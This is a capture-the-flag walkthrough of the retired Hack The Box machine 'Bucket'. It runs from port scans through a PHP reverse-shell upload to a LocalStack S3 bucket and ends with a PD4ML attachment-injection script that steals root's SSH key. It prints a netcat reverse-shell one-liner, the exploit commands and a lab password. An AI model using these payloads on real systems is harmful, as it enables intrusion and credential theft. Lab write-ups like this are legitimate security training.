This post documents the complete walkthrough of Bucket, a retired vulnerable VM created by MrR3boot, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Bucket is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=500

Starting masscan 1.0.5 ( at 2020-10-19 02:26:22 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on
Discovered open port 22/tcp on

Pretty usual stuff. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/

Hmm. Pretty shit-show. I’d better put bucket.htb into /etc/hosts. Anyway, this is what the site looks like.

While the site was loading, I notice requests were made to s3.bucket.htb. As in Amazon S3 bucket? Let’s add that into /etc/hosts. This is what the site looks like now.

LocalStack S3

It’s clear that we are looking at a LocalStack S3 bucket here. Armed with aws, the universal commandline tool for AWS, we can “talk” to the S3 bucket like so.

What’s more we can “copy” file into the bucket and the file gets mysteriously copied to the docroot of http://bucket.htb/ at every minute on the minute.

# echo 'Hello World!' > hello.txt
# aws --endpoint-url=http://s3.bucket.htb s3 cp hello.txt s3://adserver && sleep 3s && curl http://bucket.htb/hello.txt
upload: ./hello.txt to s3://adserver/hello.txt                    
Hello World!

Based on this insight, we can run a reverse shell back to us like so.


cat <<EOF > rev.php
<?php system("rm -rf /tmp/p; mknod /tmp/p p; /bin/bash </tmp/p | nc 1234 >/tmp/p &"); ?>

aws --endpoint-url=$ENDPOINT s3 cp cmd.php s3://adserver && sleep 3s && curl "$DOMAIN/rev.php"

rm -f rev.php


The only caveat is we need to time the execution of our script very near to the end of a minute. Once the script is executed, we should see the reverse shell in our netcat listener three seconds later.

LocalStack DynamoDB

After upgrading the shell to a full TTY, it’s not difficult to notice the presence of DynamoDB with ps.

java -Djava.library.path=./DynamoDBLocal_lib -Xmx256m -jar DynamoDBLocal.jar -sharedDb -port 47119 -inMemory

We can use aws dynamodb to interact with the database.



Getting user.txt

We know that roy is in the sysadm group.

Let’s give the password (n2vM-<_K_Q:.Aa2) a shot.

The file user.txt is expectedly at roy’s home directory.

Privilege Escalation

During enumeration of roy’s account, I notice the presence of /var/www/bucket-app, another VirtualHost of Apache running at

Check out the extended access control list.

User roy has read access!

PD4ML Java - Server-Side Request Forgery (SSRF)

Using a pair of chisel client/server, I was able to reverse port-forward 8000/tcp and bind it to my local loopback interface. This is what it looks like.

On top of that, there’s PHP code in /var/www/bucket-app/index.php that suggests the use of PD4ML Java.

require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
  if($_POST["action"]==="get_alerts") {
    $client = new DynamoDbClient([
      'profile' => 'default',
      'region'  => 'us-east-1',
      'version' => 'latest',
      'endpoint' => 'http://localhost:4566'

    $iterator = $client->getIterator('Scan', array(
      'TableName' => 'alerts',
      'FilterExpression' => "title = :title",
      'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),

    foreach ($iterator as $item) {
    passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");

While I was researching on PD4ML, I came across this article that talks about SSRF in PD4ML. Looks like we should be able to inject something like <pd4ml:attachment src="file:///etc/passwd"><pd4ml:attachment> into DynamoDB to read file contents from the file system. Of course, there are no better documentation and example than the ones provided by PD4ML.

To that end, I wrote a pwn script that will create the DynamoDB table (create-table) and inject (put-item) the payload into it. Then trigger the pwn with curl to invoke the PDF creation. It’s that simple. The objective of the script is to attach any file you want to read as an attachment in a PDF.

PAYLOAD="<h1>Pwned!</h1><pd4ml:attachment description='$(basename $FILE)' src='file://$FILE' icon='Paperclip' width=1024/>"

aws dynamodb create-table \
             --endpoint-url=$ENDPOINT \
             --region=$REGION \
             --table-name alerts \
             --attribute-definitions \
               AttributeName=title,AttributeType=S \
               AttributeName=data,AttributeType=S \
             --key-schema \
               AttributeName=title,KeyType=HASH \
               AttributeName=data,KeyType=RANGE \
             --provisioned-throughput \

aws dynamodb put-item \
             --endpoint-url=$ENDPOINT \
             --region=$REGION \
             --table-name alerts \
             --item \
               "{\"title\": {\"S\": \"Ransomware\"}, \"data\": {\"S\": \"$PAYLOAD\"}}"

curl -d "action=get_alerts"

Let’s see if we can siphon out root’s SSH private key.

Once the script is done, open with your browser. The attachment (in our case id_rsa) can be downloaded from the sidebar or by double-clicking the paperclip in the PDF.

Armed with root’s SSH private key, getting a root shell is a breeze.

Getting root.txt

Here’s the final prize.